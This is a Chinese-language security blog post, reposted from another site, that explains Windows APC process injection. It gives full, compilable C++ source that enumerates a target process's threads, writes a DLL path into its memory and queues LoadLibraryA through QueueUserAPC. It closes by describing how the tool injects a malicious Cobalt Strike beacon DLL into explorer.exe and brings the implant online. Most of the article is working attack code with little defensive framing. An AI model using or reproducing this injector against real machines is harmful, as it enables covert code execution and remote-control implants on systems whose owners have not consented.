APC進程注入

合天網安實驗室 發佈 2022-09-14T13:19:06.359828+00:00

本文轉載自平台:先知社區原文連結:https://xz.aliyun.

本文轉載自平台:先知社區

原文連結:https://xz.aliyun.com/t/11572

作者:MCY5

什麼是APC

APC 是一個簡稱,全稱為Asynchronous Procedure Call,叫異步過程調用,是指函數在特定線程中被異步執行,在作業系統中,APC是一種並發機制。

MSDN解釋為:

相關函數

QueueUserApc:函數作用,添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中

APCproc:函數作用: 回調函數的寫法.

核心函數

QueueUserAPC

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhTHREAD, // HANDLE to thread
ULONG_PTRdwData // APC function parameter
);


參數1表示執行函數的地址,當開始執行該APC的時候,程序會跳轉到該函數地址處來執行。

參數2表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權限。

參數3表示傳遞給執行函數的參數,與遠線程注入類似,如果QueueUserAPC 的第一個參數為LoadLibraryA,第三個參數設置的是dll路徑即可完成dll注入。

【——全網最全的網絡安全學習資料包分享給愛學習的你,關注我,私信回復「領取」獲取——】

1.網絡安全多個方向學習路線

2.全網最全的CTF入門學習資料

3.一線大佬實戰經驗分享筆記

4.網安大廠面試題合集

5.紅藍對抗實戰技術秘籍

6.網絡安全基礎入門、Linux、web安全、滲透測試方面視頻

實現原理

往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程式產生的APC被稱為用戶模式APC

介紹一下應用程式的APC

APC是往線程中插入一個回調函數,但是用的APC調用這個回調函數是有條件的.在Msdn的寫法如下

上面說到要要使用SleepEx,signalObjectAndWait.....等等這些函數才會觸發。

這就有了APC注入的條件:

1.必須是多線程環境下

2.注入的程序必須會調用上面的那些同步對象.

注入方法原理

1.當對面程序執行到某一個上面的等待函數的時候,系統會產生一個中斷

2.當線程喚醒的時候,這個線程會優先去Apc隊列中調用回調函數

3.我們利用QueueUserApc,往這個隊列中插入一個回調

4.插入回調的時候,把插入的回調地址改為LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,並且寫入進去

使用方法

1.利用快照枚舉所有的線程

2.寫入遠程內存,寫入的是Dll的路徑

3.插入我們的DLL即可

實現過程

編寫一個根據進程名獲取PID的函數,然後根據PID獲取所有的線程ID,這裡我就將兩個函數集合在一起,通過自己輸入PID來獲取指定進程的線程並寫入數組

//列出指定進程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申請空間
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;


    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }


    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));


    THREADENTRY32 th32 = { 0 };


    // 拍攝快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);


    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }


    // 結構的大小
    th32.dwSize = sizeof(THREADENTRY32);


    // 遍歷所有THREADENTRY32結構, 按順序填入數組


    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }


    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;


    return TRUE;
}

然後是apc注入的主函數,首先使用VirtualAllocEx遠程申請內存

BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
    // 申請內存


    Pvoid lpAddr = NULL;
    SIZE_T page_size = 4096;


    lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


    if (lpAddr == NULL)
    {
        ShowError("VirtualAllocEx - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 把Dll的路徑複製到內存中
    if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
    {
        ShowError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }


    // 獲得LoadLibraryA的地址
    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");


    // 遍歷線程, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打開線程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
            // 關閉線程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }


使用WriteProcessMemory把dll路徑寫入內存

::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)


獲取LoadLibraryA的地址

PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");


便利線程並插入APC,這裡定義一個fail並進行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1

for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打開線程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
        }
    }


主函數,定義dll地址

strcpy_s(wzDllFullPath, "加載要注入的dll的路徑");


使用OpenProcess打開句柄

HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);


調用前面寫好的APCInject函數實現APC注入

if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }


採用手動輸入的方式,通過cin >> ulProcessID將接收到的參數賦給ulProcessID

利用此方法上線CS

完整代碼

// inject3.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>


using namespace std;


void ShowError(const char* pszText)
{
    CHAR szError[MAX_PATH] = { 0 };
    ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szError, "ERROR", MB_OK);
}




//列出指定進程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申請空間
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;


    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }


    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));


    THREADENTRY32 th32 = { 0 };


    // 拍攝快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);


    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }


    // 結構的大小
    th32.dwSize = sizeof(THREADENTRY32);


    //遍歷所有THREADENTRY32結構, 按順序填入數組


    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }


    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;


    return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
    // 申請內存


    PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;


    lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


    if (lpAddr == NULL)
    {
        ShowError("VirtualAllocEx - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 把Dll的路徑複製到內存中
    if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
    {
        ShowError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }


    // 獲得LoadLibraryA的地址
    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");


    // 遍歷線程, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打開線程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
            // 關閉線程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }


    printf("Total Thread: %d\n", dwThreadIdListLength);
    printf("Total Failed: %d\n", (int)fail);


    if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
    {
        printf("Success to Inject APC\n");
        return TRUE;
    }
    else
    {
        printf("Inject may be failed\n");
        return FALSE;
    }
}
int main()
{
    ULONG32 ulProcessID = 0;
    printf("Input the Process ID:");
    cin >> ulProcessID;
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;


#ifndef _WIN64
    strcpy_s(wzDllFullPath, "加載要注入的dll的路徑");
#else // _WIN64
    strcpy_s(wzDllFullPath, "加載要注入的dll的路徑");
#endif
    if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
    {
        printf("Can not list the threads\n");
        exit(0);
    }
    //打開句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);


    if (hProcess == NULL)
    {
        printf("Failed to open Process\n");
        return FALSE;
    }


    //注入
    if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }
    return 0;
}

上線cs

首先CS建立監聽,生成一個惡意dll文件

在目標機上運行編譯好的exe文件,並輸入要注入進程的PID,這裡我使用explorer.exe測試

編譯,輸入PID

查看CS,已經成功上線,且進程也加載了beacon.dll.

關鍵字: